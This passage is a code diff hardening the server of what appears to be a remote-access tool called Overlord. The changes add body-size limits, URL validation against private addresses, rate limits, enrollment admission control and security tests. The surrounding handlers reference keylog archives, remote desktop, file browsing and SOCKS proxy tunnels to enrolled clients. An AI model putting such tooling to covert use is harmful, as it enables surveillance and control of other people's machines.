isPrivateOrInternalHostname, renderNotificationTemplate, } from "../notification-delivery"; import { getVapidPublicKey } from "../web-push"; +import { fetchPublicHttpResponse, validatePublicHttpUrl } from "../url-security"; +import { readJsonBodyLimited, RequestBodyTooLargeError } from "../request-body"; + +const MAX_WEBHOOK_URL_LENGTH = 2_048; +const MAX_NOTIFICATION_TEMPLATE_LENGTH = 16 * 1024; +const MAX_PUSH_ENDPOINT_LENGTH = 4_096; +const MAX_PUSH_KEY_LENGTH = 1_024; +const MAX_TELEGRAM_BOT_TOKEN_LENGTH = 512; +const MAX_TELEGRAM_CHAT_ID_LENGTH = 256; +const MAX_NOTIFICATIONS_CONFIG_BODY_BYTES = 128 * 1024; +const MAX_USER_NOTIFICATION_SETTINGS_BODY_BYTES = 64 * 1024; +const MAX_WEBHOOK_PREVIEW_BODY_BYTES = 32 * 1024; +const MAX_PUSH_SUBSCRIPTION_BODY_BYTES = 16 * 1024; + +async function validateWebhookUrl(rawUrl: string): Promise { + if (rawUrl.length > MAX_WEBHOOK_URL_LENGTH) { + throw new Error("Webhook URL is too long"); + } + return await validatePublicHttpUrl(rawUrl); +} type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -109,8 +129,11 @@ export async function handleNotificationsConfigRoutes( let body: any = {}; try { - body = await req.json(); - } catch { + body = await readJsonBodyLimited(req, MAX_NOTIFICATIONS_CONFIG_BODY_BYTES); + } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ error: "Request body too large" }, { status: 413 }); + } return Response.json({ error: "Invalid JSON" }, { status: 400 }); } @@ -176,17 +199,21 @@ export async function handleNotificationsConfigRoutes( ? body.clipboardEnabled : currentConfig.clipboardEnabled || false; + if (telegramBotToken.length > MAX_TELEGRAM_BOT_TOKEN_LENGTH) { + return Response.json({ error: "Telegram bot token is too long" }, { status: 400 }); + } + if (telegramChatId.length > MAX_TELEGRAM_CHAT_ID_LENGTH) { + return Response.json({ error: "Telegram chat ID is too long" }, { status: 400 }); + } + if (webhookUrl) { try { - const parsed = new URL(webhookUrl); - if (!/^https?:$/.test(parsed.protocol)) { - return Response.json( - { error: "Webhook URL must be http(s)" }, - { status: 400 }, - ); - } - } catch { - return Response.json({ error: "Invalid webhook URL" }, { status: 400 }); + await validateWebhookUrl(webhookUrl); + } catch (error: any) { + return Response.json( + { error: error?.message || "Invalid webhook URL" }, + { status: 400 }, + ); } } @@ -276,8 +303,11 @@ export async function handleNotificationsConfigRoutes( if (req.method === "PUT") { let body: any = {}; try { - body = await req.json(); - } catch { + body = await readJsonBodyLimited(req, MAX_USER_NOTIFICATION_SETTINGS_BODY_BYTES); + } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ error: "Request body too large" }, { status: 413 }); + } return Response.json({ error: "Invalid JSON" }, { status: 400 }); } @@ -290,30 +320,46 @@ export async function handleNotificationsConfigRoutes( const url_val = body.webhook_url.trim(); if (url_val) { try { - const parsed = new URL(url_val); - if (!/^https?:$/.test(parsed.protocol)) { - return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 }); - } - } catch { - return Response.json({ error: "Invalid webhook URL" }, { status: 400 }); + await validateWebhookUrl(url_val); + } catch (error: any) { + return Response.json( + { error: error?.message || "Invalid webhook URL" }, + { status: 400 }, + ); } } patch.webhook_url = url_val || null; } if (typeof body?.webhook_template === "string") { - patch.webhook_template = body.webhook_template.trim() || null; + const template = body.webhook_template.trim(); + if (template.length > MAX_NOTIFICATION_TEMPLATE_LENGTH) { + return Response.json({ error: "Webhook template is too long" }, { status: 400 }); + } + patch.webhook_template = template || null; } if (typeof body?.telegram_enabled === "boolean" || typeof body?.telegram_enabled === "number") { patch.telegram_enabled = body.telegram_enabled ? 1 : 0; } if (typeof body?.telegram_bot_token === "string") { - patch.telegram_bot_token = body.telegram_bot_token.trim() || null; + const token = body.telegram_bot_token.trim(); + if (token.length > MAX_TELEGRAM_BOT_TOKEN_LENGTH) { + return Response.json({ error: "Telegram bot token is too long" }, { status: 400 }); + } + patch.telegram_bot_token = token || null; } if (typeof body?.telegram_chat_id === "string") { - patch.telegram_chat_id = body.telegram_chat_id.trim() || null; + const chatId = body.telegram_chat_id.trim(); + if (chatId.length > MAX_TELEGRAM_CHAT_ID_LENGTH) { + return Response.json({ error: "Telegram chat ID is too long" }, { status: 400 }); + } + patch.telegram_chat_id = chatId || null; } if (typeof body?.telegram_template === "string") { - patch.telegram_template = body.telegram_template.trim() || null; + const template = body.telegram_template.trim(); + if (template.length > MAX_NOTIFICATION_TEMPLATE_LENGTH) { + return Response.json({ error: "Telegram template is too long" }, { status: 400 }); + } + patch.telegram_template = template || null; } if (typeof body?.client_event_webhook === "boolean" || typeof body?.client_event_webhook === "number") { patch.client_event_webhook = body.client_event_webhook ? 1 : 0; @@ -346,8 +392,11 @@ export async function handleNotificationsConfigRoutes( let body: any = {}; try { - body = await req.json(); - } catch { + body = await readJsonBodyLimited(req, MAX_WEBHOOK_PREVIEW_BODY_BYTES); + } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ error: "Request body too large" }, { status: 413 }); + } return Response.json({ error: "Invalid JSON" }, { status: 400 }); } @@ -360,20 +409,16 @@ export async function handleNotificationsConfigRoutes( let parsed: URL; try { - parsed = new URL(webhookUrl); - if (!/^https?:$/.test(parsed.protocol)) { - return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 }); - } - } catch { - return Response.json({ error: "Invalid webhook URL" }, { status: 400 }); - } - - if (isPrivateOrInternalHostname(parsed.hostname.toLowerCase())) { + parsed = await validateWebhookUrl(webhookUrl); + } catch (error: any) { return Response.json( - { error: "Webhook URL points at a private/internal address" }, + { error: error?.message || "Invalid webhook URL" }, { status: 400 }, ); } + if (webhookTemplate.length > MAX_NOTIFICATION_TEMPLATE_LENGTH) { + return Response.json({ error: "Webhook template is too long" }, { status: 400 }); + } const sampleRecord = { id: "preview-notification", @@ -432,13 +477,13 @@ export async function handleNotificationsConfigRoutes( ], }; sentPayload = JSON.stringify(discordPayload); - response = await fetch(parsed.toString(), { + response = await fetchPublicHttpResponse(parsed.toString(), { method: "POST", headers: { "Content-Type": "application/json" }, body: sentPayload, }); } else { - response = await fetch(parsed.toString(), { + response = await fetchPublicHttpResponse(parsed.toString(), { method: "POST", headers: { "Content-Type": "application/json" }, body: jsonPayloadToSend, @@ -483,11 +528,27 @@ export async function handleNotificationsConfigRoutes( }); } + if (req.method === "POST" || req.method === "DELETE") { + const rateLimit = consumePushSubscriptionMutationRateLimit(user.userId); + if (rateLimit.limited) { + return Response.json( + { error: "Push subscription update rate limit exceeded" }, + { + status: 429, + headers: { "Retry-After": String(rateLimit.retryAfter || 60) }, + }, + ); + } + } + if (req.method === "POST") { let body: any = {}; try { - body = await req.json(); - } catch { + body = await readJsonBodyLimited(req, MAX_PUSH_SUBSCRIPTION_BODY_BYTES); + } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ error: "Request body too large" }, { status: 413 }); + } return Response.json({ error: "Invalid JSON" }, { status: 400 }); } @@ -498,16 +559,49 @@ export async function handleNotificationsConfigRoutes( if (!endpoint || !p256dh || !auth) { return Response.json({ error: "Missing subscription fields" }, { status: 400 }); } + if ( + endpoint.length > MAX_PUSH_ENDPOINT_LENGTH || + p256dh.length > MAX_PUSH_KEY_LENGTH || + auth.length > MAX_PUSH_KEY_LENGTH + ) { + return Response.json({ error: "Subscription field is too long" }, { status: 400 }); + } + try { + const parsed = await validatePublicHttpUrl(endpoint); + if (parsed.protocol !== "https:") { + return Response.json({ error: "Push endpoint must use HTTPS" }, { status: 400 }); + } + } catch (error: any) { + return Response.json( + { error: error?.message || "Invalid push endpoint" }, + { status: 400 }, + ); + } - savePushSubscription(user.userId, endpoint, p256dh, auth); - return Response.json({ ok: true }); + const saved = savePushSubscription(user.userId, endpoint, p256dh, auth); + if (!saved.ok) { + if (saved.reason === "global_limit") { + return Response.json( + { error: "The server push subscription limit has been reached" }, + { status: 503, headers: { "Retry-After": "300" } }, + ); + } + return Response.json( + { error: "This push endpoint is already registered" }, + { status: 409 }, + ); + } + return Response.json({ ok: true, replacedOldest: !!saved.evictedEndpoint }); } if (req.method === "DELETE") { let body: any = {}; try { - body = await req.json(); - } catch { + body = await readJsonBodyLimited(req, MAX_PUSH_SUBSCRIPTION_BODY_BYTES); + } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ error: "Request body too large" }, { status: 413 }); + } return Response.json({ error: "Invalid JSON" }, { status: 400 }); } @@ -515,6 +609,9 @@ export async function handleNotificationsConfigRoutes( if (!endpoint) { return Response.json({ error: "Missing endpoint" }, { status: 400 }); } + if (endpoint.length > MAX_PUSH_ENDPOINT_LENGTH) { + return Response.json({ error: "Subscription endpoint is too long" }, { status: 400 }); + } deletePushSubscriptionForUser(user.userId, endpoint); return Response.json({ ok: true }); diff --git a/Overlord-Server/src/server/routes/proxy-routes.security.test.ts b/Overlord-Server/src/server/routes/proxy-routes.security.test.ts new file mode 100644 index 0000000..33afa03 --- /dev/null +++ b/Overlord-Server/src/server/routes/proxy-routes.security.test.ts @@ -0,0 +1,75 @@ +import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { generateToken } from "../../auth"; +import { + createUser, + deleteUser, + getUserById, + setUserExtraPermissions, +} from "../../users"; +import { handleMiscRoutes } from "./misc-routes"; + +const createdUserIds: number[] = []; +let operatorToken = ""; +let viewerToken = ""; + +const deps = { + CORS_HEADERS: {}, + SERVER_VERSION: "test", + PUBLIC_ROOT: ".", + requestIP: () => ({ address: "127.0.0.1" }), + getConsoleSessionCount: () => 0, + getRdSessionCount: () => 0, + getFileBrowserSessionCount: () => 0, + getProcessSessionCount: () => 0, +}; + +beforeAll(async () => { + const suffix = crypto.randomUUID().slice(0, 8); + const operator = await createUser( + `proxy_operator_${suffix}`, + "Aa1!ProxyRouteSecurityPass123", + "operator", + "test", + ); + const viewer = await createUser( + `proxy_viewer_${suffix}`, + "Aa1!ProxyRouteSecurityPass123", + "viewer", + "test", + ); + if (!operator.success || !operator.userId || !viewer.success || !viewer.userId) { + throw new Error("failed to create proxy route test users"); + } + createdUserIds.push(operator.userId, viewer.userId); + operatorToken = await generateToken(getUserById(operator.userId)!); + setUserExtraPermissions(viewer.userId, ["clients:control"]); + viewerToken = await generateToken(getUserById(viewer.userId)!); +}); + +afterAll(() => { + for (const id of createdUserIds) deleteUser(id); +}); + +async function listProxies(token?: string): Promise { + const url = new URL("https://localhost/api/proxy/list"); + const request = new Request(url, token + ? { headers: { Authorization: `Bearer ${token}` } } + : undefined); + const response = await handleMiscRoutes(request, url, deps); + if (!response) throw new Error("proxy list route was not handled"); + return response; +} + +describe("SOCKS proxy route authorization", () => { + test("requires authentication", async () => { + expect((await listProxies()).status).toBe(401); + }); + + test("allows an operator with clients:control", async () => { + expect((await listProxies(operatorToken)).status).toBe(200); + }); + + test("retains the non-viewer role gate even with a direct permission grant", async () => { + expect((await listProxies(viewerToken)).status).toBe(403); + }); +}); diff --git a/Overlord-Server/src/server/routes/registration-body-security.test.ts b/Overlord-Server/src/server/routes/registration-body-security.test.ts new file mode 100644 index 0000000..07e806b --- /dev/null +++ b/Overlord-Server/src/server/routes/registration-body-security.test.ts @@ -0,0 +1,30 @@ +import { describe, expect, test } from "bun:test"; +import { getConfig, updateRegistrationConfig } from "../../config"; +import { handleRegistrationRoutes } from "./registration-routes"; + +describe("public registration body limits", () => { + test("rejects an oversized body before JSON buffering", async () => { + const original = { ...getConfig().registration }; + await updateRegistrationConfig({ mode: "open" }); + try { + const url = new URL("https://localhost/api/register"); + const response = await handleRegistrationRoutes( + new Request(url, { + method: "POST", + headers: { + "Content-Type": "application/json", + "Content-Length": String(16 * 1024 + 1), + }, + body: "{}", + }), + url, + { requestIP: () => ({ address: `198.51.100.${Math.floor(Math.random() * 200) + 1}` }) }, + ); + + expect(response?.status).toBe(413); + expect(await response!.json()).toMatchObject({ error: "Request body too large" }); + } finally { + await updateRegistrationConfig(original); + } + }); +}); diff --git a/Overlord-Server/src/server/routes/registration-routes.ts b/Overlord-Server/src/server/routes/registration-routes.ts index 138b427..9a632da 100644 --- a/Overlord-Server/src/server/routes/registration-routes.ts +++ b/Overlord-Server/src/server/routes/registration-routes.ts @@ -3,6 +3,7 @@ import { AuditAction, logAudit } from "../../auditLog"; import { getConfig } from "../../config"; import { logger } from "../../logger"; import { requirePermission } from "../../rbac"; +import { readJsonBodyLimited, RequestBodyTooLargeError } from "../request-body"; import { registerUser, deleteUser, @@ -29,6 +30,7 @@ interface RegRateLimitEntry { const regRateLimitStore = new Map(); const REG_MAX_ATTEMPTS = 5; const REG_WINDOW_MS = 60 * 60 * 1000; // 1 hour +const REGISTRATION_BODY_MAX_BYTES = 16 * 1024; function isRegRateLimited(ip: string): boolean { const entry = regRateLimitStore.get(ip); @@ -114,8 +116,11 @@ export async function handleRegistrationRoutes( let body: any; try { - body = await req.json(); - } catch { + body = await readJsonBodyLimited(req, REGISTRATION_BODY_MAX_BYTES); + } catch (error) { + if (error instanceof RequestBodyTooLargeError) { + return Response.json({ error: "Request body too large" }, { status: 413 }); + } return Response.json({ error: "Invalid JSON" }, { status: 400 }); } diff --git a/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts b/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts index 13c9bec..a72fb2b 100644 --- a/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts +++ b/Overlord-Server/src/server/routes/webrtc-routes.auth.test.ts @@ -62,6 +62,24 @@ describe("WebRTC viewer authorization", () => { expect(response!.status).toBe(403); }); + test("rejects oversized SDP before proxying it upstream", async () => { + const auth = await makeOperator(); + const url = new URL("https://localhost/api/webrtc/agents/client-a/desktop/whep"); + const response = await handleWebrtcRoutes( + new Request(url, { + method: "POST", + headers: { + Authorization: `Bearer ${auth.token}`, + "Content-Length": String(1024 * 1024 + 1), + }, + body: "offer", + }), + url, + ); + + expect(response!.status).toBe(413); + }); + test("revokes only the matching user's tracked media sessions", async () => { const deleted: string[] = []; trackWebrtcViewerSession({ diff --git a/Overlord-Server/src/server/routes/webrtc-routes.ts b/Overlord-Server/src/server/routes/webrtc-routes.ts index 613a79d..de8cad8 100644 --- a/Overlord-Server/src/server/routes/webrtc-routes.ts +++ b/Overlord-Server/src/server/routes/webrtc-routes.ts @@ -3,11 +3,13 @@ import { authenticateRequest } from "../../auth"; import { requireClientAccess, requireFeatureAccess } from "../../rbac"; import { logger } from "../../logger"; import { issueTurnIceServers } from "../turn-credentials"; +import { readBodyLimited, RequestBodyTooLargeError } from "../request-body"; const MEDIAMTX_URL = (process.env.OVERLORD_MEDIAMTX_URL || "http://localhost:8889").replace(/\/+$/, ""); const PUBLISH_TOKEN_TTL_MS = 60_000; +const MAX_WEBRTC_SIGNAL_BODY_BYTES = 1024 * 1024; type PublishToken = { clientId: string; expiresAt: number }; const publishTokens = new Map(); @@ -149,7 +151,14 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise void; handleKeylogArchiveMessage?: (clientId: string, payload: any, ws?: ServerWebSocket) => void; notifyRdInputLatency: (commandId: string) => void; - handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void; + handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined, clientId?: string) => void; handlePluginEvent: (clientId: string, payload: any) => void; handleNotification: (clientId: string, payload: any) => void; handleVoiceUplink: (clientId: string, payload: any) => void; @@ -289,22 +289,200 @@ type WsLifecycleDeps = { }; const ENROLLMENT_TIMEOUT_MS = 30_000; -const enrollmentTimeouts = new Map>(); +const MAX_PRE_ENROLLMENT_MESSAGE_BYTES = 32 * 1024; -function clearEnrollmentTimeout(clientId: string) { - const t = enrollmentTimeouts.get(clientId); +export type EnrollmentAdmissionLimits = { + maxActiveGlobal: number; + maxActivePerIp: number; + maxVerifyingGlobal: number; + verificationAttemptsPerSecond: number; + verificationAttemptBurst: number; +}; + +export type EnrollmentAdmissionDenial = + | "global_socket_limit" + | "per_ip_socket_limit" + | "not_admitted" + | "already_verifying" + | "verification_concurrency" + | "verification_rate"; + +type EnrollmentAdmissionDecision = + | { ok: true } + | { ok: false; reason: EnrollmentAdmissionDenial }; + +function normalizedAdmissionIp(value: unknown): string { + if (typeof value !== "string") return ""; + const clean = value.trim().slice(0, 128); + return clean || ""; +} + +function positiveEnrollmentEnv( + name: string, + fallback: number, + min: number, + max: number, +): number { + const parsed = Number(process.env[name]); + if (!Number.isSafeInteger(parsed) || parsed < min) return fallback; + return Math.min(max, parsed); +} + +export function createEnrollmentAdmissionController(rawLimits: EnrollmentAdmissionLimits) { + const normalizeLimit = (value: number): number => + Number.isSafeInteger(value) && value > 0 ? Math.floor(value) : 1; + const limits: EnrollmentAdmissionLimits = { + maxActiveGlobal: normalizeLimit(rawLimits.maxActiveGlobal), + maxActivePerIp: normalizeLimit(rawLimits.maxActivePerIp), + maxVerifyingGlobal: normalizeLimit(rawLimits.maxVerifyingGlobal), + verificationAttemptsPerSecond: normalizeLimit(rawLimits.verificationAttemptsPerSecond), + verificationAttemptBurst: normalizeLimit(rawLimits.verificationAttemptBurst), + }; + const sockets = new Map(); + const activeByIp = new Map(); + let verifying = 0; + let attemptTokens = limits.verificationAttemptBurst; + let attemptTokensUpdatedAt = 0; + + function refillAttemptTokens(now: number): void { + if (attemptTokensUpdatedAt === 0) { + attemptTokensUpdatedAt = now; + return; + } + const elapsedMs = Math.max(0, Math.min(60_000, now - attemptTokensUpdatedAt)); + attemptTokens = Math.min( + limits.verificationAttemptBurst, + attemptTokens + elapsedMs * limits.verificationAttemptsPerSecond / 1_000, + ); + attemptTokensUpdatedAt = now; + } + + return { + admit(socket: object, ipValue: unknown): EnrollmentAdmissionDecision { + if (sockets.has(socket)) return { ok: true }; + const ip = normalizedAdmissionIp(ipValue); + if (sockets.size >= limits.maxActiveGlobal) { + return { ok: false, reason: "global_socket_limit" }; + } + const ipActive = activeByIp.get(ip) || 0; + if (ipActive >= limits.maxActivePerIp) { + return { ok: false, reason: "per_ip_socket_limit" }; + } + sockets.set(socket, { ip, verifying: false }); + activeByIp.set(ip, ipActive + 1); + return { ok: true }; + }, + + beginVerification(socket: object, now = Date.now()): EnrollmentAdmissionDecision { + const entry = sockets.get(socket); + if (!entry) return { ok: false, reason: "not_admitted" }; + if (entry.verifying) return { ok: false, reason: "already_verifying" }; + if (verifying >= limits.maxVerifyingGlobal) { + return { ok: false, reason: "verification_concurrency" }; + } + refillAttemptTokens(now); + if (attemptTokens < 1) { + return { ok: false, reason: "verification_rate" }; + } + attemptTokens -= 1; + entry.verifying = true; + verifying += 1; + return { ok: true }; + }, + + release(socket: object): boolean { + const entry = sockets.get(socket); + if (!entry) return false; + sockets.delete(socket); + if (entry.verifying) verifying = Math.max(0, verifying - 1); + const ipActive = Math.max(0, (activeByIp.get(entry.ip) || 0) - 1); + if (ipActive === 0) activeByIp.delete(entry.ip); + else activeByIp.set(entry.ip, ipActive); + return true; + }, + + stats(ipValue?: unknown) { + const ip = ipValue === undefined ? undefined : normalizedAdmissionIp(ipValue); + return { + active: sockets.size, + verifying, + activeForIp: ip === undefined ? undefined : (activeByIp.get(ip) || 0), + attemptTokens, + }; + }, + }; +} + +const enrollmentAdmission = createEnrollmentAdmissionController({ + // These defaults allow a large fleet to reconnect in bursts while bounding + // attacker-retained challenges and expensive signature/build verification. + maxActiveGlobal: positiveEnrollmentEnv("OVERLORD_MAX_PREAUTH_SOCKETS_GLOBAL", 100_000, 32, 100_000), + maxActivePerIp: positiveEnrollmentEnv("OVERLORD_MAX_PREAUTH_SOCKETS_PER_IP", 10_000, 8, 10_000), + maxVerifyingGlobal: positiveEnrollmentEnv("OVERLORD_MAX_ENROLLMENT_VERIFICATIONS", 4_096, 4, 4_096), + verificationAttemptsPerSecond: positiveEnrollmentEnv( + "OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPTS_PER_SECOND", + 100_000, + 8, + 100_000, + ), + verificationAttemptBurst: positiveEnrollmentEnv( + "OVERLORD_ENROLLMENT_VERIFICATION_ATTEMPT_BURST", + 200_000, + 16, + 200_000, + ), +}); + +export function getEnrollmentAdmissionStats(ip?: string) { + return enrollmentAdmission.stats(ip); +} + +function clearEnrollmentTimeout(ws: ServerWebSocket) { + const t = ws.data.enrollmentTimeout; if (t) { clearTimeout(t); - enrollmentTimeouts.delete(clientId); + ws.data.enrollmentTimeout = undefined; + } +} + +function releaseEnrollmentAdmission(ws: ServerWebSocket): void { + enrollmentAdmission.release(ws); +} + +function rejectEnrollment(ws: ServerWebSocket): void { + ws.data.enrollmentState = "rejected"; + ws.data.enrollmentNonce = undefined; + clearEnrollmentTimeout(ws); + releaseEnrollmentAdmission(ws); +} + +const enrollmentAdmissionWarningAt = new Map(); + +function warnEnrollmentAdmissionDenied(reason: EnrollmentAdmissionDenial): void { + const now = Date.now(); + const last = enrollmentAdmissionWarningAt.get(reason) || 0; + if (now - last < 5_000) return; + enrollmentAdmissionWarningAt.set(reason, now); + logger.warn(`[purgatory] enrollment admission denied reason=${reason}`); +} + +export function decodeCanonicalBase64(value: unknown, expectedBytes: number): Uint8Array | null { + if (typeof value !== "string" || value.length === 0 || value.length > 256) return null; + try { + const decoded = Buffer.from(value, "base64"); + if (decoded.length !== expectedBytes || decoded.toString("base64") !== value) return null; + return Uint8Array.from(decoded); + } catch { + return null; } } async function verifyEd25519(publicKeyBase64: string, signatureBase64: string, nonceBase64: string): Promise { try { - const pubKeyBytes = Buffer.from(publicKeyBase64, "base64"); - const sigBytes = Buffer.from(signatureBase64, "base64"); - const nonceBytes = Buffer.from(nonceBase64, "base64"); - if (pubKeyBytes.length !== 32 || sigBytes.length !== 64) return false; + const pubKeyBytes = decodeCanonicalBase64(publicKeyBase64, 32); + const sigBytes = decodeCanonicalBase64(signatureBase64, 64); + const nonceBytes = decodeCanonicalBase64(nonceBase64, 32); + if (!pubKeyBytes || !sigBytes || !nonceBytes) return false; const key = await crypto.subtle.importKey( "raw", pubKeyBytes, @@ -326,8 +504,81 @@ function computeKeyFingerprint(publicKeyBase64: string): string { function sanitizeCrashString(value: unknown, maxLen: number): string | undefined { if (typeof value !== "string") return undefined; - const clean = value.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim(); - return clean ? clean.slice(0, maxLen) : undefined; + const clean = value.slice(0, maxLen).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim(); + return clean || undefined; +} + +export const MAX_DISCONNECT_REASON_LENGTH = 128; +export const MAX_DISCONNECT_DETAIL_LENGTH = 4_096; + +export function normalizeDisconnectInfo(payload: unknown): { + reason: string; + detail?: string; +} | null { + if (!payload || typeof payload !== "object") return null; + const data = payload as Record; + const reason = typeof data.reason === "string" + ? data.reason + .slice(0, MAX_DISCONNECT_REASON_LENGTH) + .replace(/[\x00-\x1F\x7F]+/g, " ") + .replace(/\s+/g, " ") + .trim() + : ""; + if (!reason) return null; + const detail = sanitizeCrashString(data.detail, MAX_DISCONNECT_DETAIL_LENGTH); + return { reason, ...(detail ? { detail } : {}) }; +} + +export const MAX_PROXY_TUNNEL_CHUNK_BYTES = 64 * 1024 * 1024; + +export function normalizeProxyTunnelChunk(value: unknown): Uint8Array | null { + let bytes: Uint8Array; + if (value instanceof Uint8Array) bytes = value; + else if (value instanceof ArrayBuffer) bytes = new Uint8Array(value); + else if (ArrayBuffer.isView(value)) { + bytes = new Uint8Array(value.buffer, value.byteOffset, value.byteLength); + } else { + return null; + } + return bytes.byteLength > 0 && bytes.byteLength <= MAX_PROXY_TUNNEL_CHUNK_BYTES + ? bytes + : null; +} + +const CLIENT_INGRESS_BYTE_BURST = 128 * 1024 * 1024; +const CLIENT_INGRESS_BYTES_PER_SECOND = 32 * 1024 * 1024; +const CLIENT_INGRESS_MESSAGE_BURST = 512; +const CLIENT_INGRESS_MESSAGES_PER_SECOND = 256; + +export function consumeClientIngressBudget( + data: SocketData, + size: number, + now = Date.now(), +): boolean { + if (!Number.isFinite(size) || size < 0) return false; + const previous = Number.isFinite(data.ingressBudgetUpdatedAt) + ? data.ingressBudgetUpdatedAt! + : now; + const elapsedMs = Math.max(0, Math.min(60_000, now - previous)); + const byteTokens = Math.min( + CLIENT_INGRESS_BYTE_BURST, + (Number.isFinite(data.ingressByteTokens) ? data.ingressByteTokens! : CLIENT_INGRESS_BYTE_BURST) + + elapsedMs * CLIENT_INGRESS_BYTES_PER_SECOND / 1000, + ); + const messageTokens = Math.min( + CLIENT_INGRESS_MESSAGE_BURST, + (Number.isFinite(data.ingressMessageTokens) ? data.ingressMessageTokens! : CLIENT_INGRESS_MESSAGE_BURST) + + elapsedMs * CLIENT_INGRESS_MESSAGES_PER_SECOND / 1000, + ); + data.ingressBudgetUpdatedAt = now; + if (size > byteTokens || messageTokens < 1) { + data.ingressByteTokens = byteTokens; + data.ingressMessageTokens = messageTokens; + return false; + } + data.ingressByteTokens = byteTokens - size; + data.ingressMessageTokens = messageTokens - 1; + return true; } export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void { @@ -348,6 +599,14 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws); if (role === "chat_viewer") return deps.handleChatViewerOpen(ws); + const admission = enrollmentAdmission.admit(ws, ip); + if (!admission.ok) { + warnEnrollmentAdmissionDenied(admission.reason); + rejectEnrollment(ws); + try { ws.close(1013, "Enrollment capacity reached"); } catch {} + return; + } + const id = clientId || uuidv4(); ws.data.clientId = id; ws.data.ip = ip; @@ -356,17 +615,25 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif crypto.getRandomValues(nonceBytes); const nonceBase64 = Buffer.from(nonceBytes).toString("base64"); ws.data.enrollmentNonce = nonceBase64; + ws.data.enrollmentState = "challenged"; - ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 })); + try { + ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 })); + } catch { + rejectEnrollment(ws); + try { ws.close(1011, "Enrollment challenge failed"); } catch {} + return; + } - clearEnrollmentTimeout(id); + clearEnrollmentTimeout(ws); const timeout = setTimeout(() => { - enrollmentTimeouts.delete(id); + ws.data.enrollmentTimeout = undefined; + rejectEnrollment(ws); try { ws.close(4002, "enrollment_timeout"); } catch {} }, ENROLLMENT_TIMEOUT_MS); - enrollmentTimeouts.set(id, timeout); + ws.data.enrollmentTimeout = timeout; } export async function handleWebSocketMessage( @@ -379,12 +646,14 @@ export async function handleWebSocketMessage( const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes); if (size > limit) { logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`); + if (role === "client" && ws.data.enrollmentState !== "authenticated") { + rejectEnrollment(ws); + } try { ws.close(1009, "Message too large"); } catch {} return; } - const socketRole = ws.data.role as string; if (isAuthenticatedViewerRole(ws.data.role) && !validateViewerAuthorization(ws)) return; if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message); @@ -400,6 +669,19 @@ export async function handleWebSocketMessage( if (socketRole === "dashboard_viewer") return; if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message); + if ( + socketRole === "client" + && ws.data.enrollmentState !== "authenticated" + && size > MAX_PRE_ENROLLMENT_MESSAGE_BYTES + ) { + logger.warn( + `[purgatory] closing pre-enrollment socket due to oversized message (${size} > ${MAX_PRE_ENROLLMENT_MESSAGE_BYTES})`, + ); + rejectEnrollment(ws); + try { ws.close(1009, "Pre-enrollment message too large"); } catch {} + return; + } + const { clientId, ip } = ws.data; let payload: WireMessage; @@ -420,37 +702,88 @@ export async function handleWebSocketMessage( return; } + if ( + socketRole === "client" + && payloadType !== "hello" + && ws.data.enrollmentState !== "authenticated" + ) { + logger.warn(`[purgatory] rejected ${payloadType} before hello completed for ${clientId}`); + rejectEnrollment(ws); + try { ws.close(4002, "hello_required"); } catch {} + return; + } + + if (socketRole === "client" && ws.data.enrollmentState === "authenticated") { + const current = clientManager.getClient(clientId); + if (!current || current.ws !== ws) { + logger.warn(`[purgatory] rejected message from superseded socket for ${clientId}`); + rejectEnrollment(ws); + try { ws.close(4004, "superseded"); } catch {} + return; + } + } + const info = clientManager.getClient(clientId); if (!info && payloadType !== "hello") return; - if (info) info.lastSeen = Date.now(); + if (info && ws.data.enrollmentState === "authenticated") { + info.lastSeen = Date.now(); + } const client = info!; try { switch (payloadType) { case "hello": { - clearEnrollmentTimeout(clientId); + const publicKeyInput = typeof (payload as any).publicKey === "string" ? (payload as any).publicKey : ""; + const signatureInput = typeof (payload as any).signature === "string" ? (payload as any).signature : ""; + const nonce = ws.data.enrollmentNonce; - const publicKey = typeof (payload as any).publicKey === "string" ? (payload as any).publicKey : ""; - const signature = typeof (payload as any).signature === "string" ? (payload as any).signature : ""; - const nonce = ws.data.enrollmentNonce || ""; + if (ws.data.enrollmentState !== "challenged" || !nonce) { + logger.warn(`[purgatory] unexpected second hello for ${clientId}`); + if (ws.data.enrollmentState !== "authenticated") { + rejectEnrollment(ws); + } else { + ws.data.enrollmentNonce = undefined; + clearEnrollmentTimeout(ws); + } + try { ws.close(4002, "unexpected_hello"); } catch {} + return; + } - if (!publicKey || !signature || !nonce) { + // Consume the one-time challenge synchronously, before signature + // verification yields, so concurrent hello messages cannot replay it. + ws.data.enrollmentState = "verifying"; + ws.data.enrollmentNonce = undefined; + + const publicKeyBytes = decodeCanonicalBase64(publicKeyInput, 32); + const signatureBytes = decodeCanonicalBase64(signatureInput, 64); + if (!publicKeyBytes || 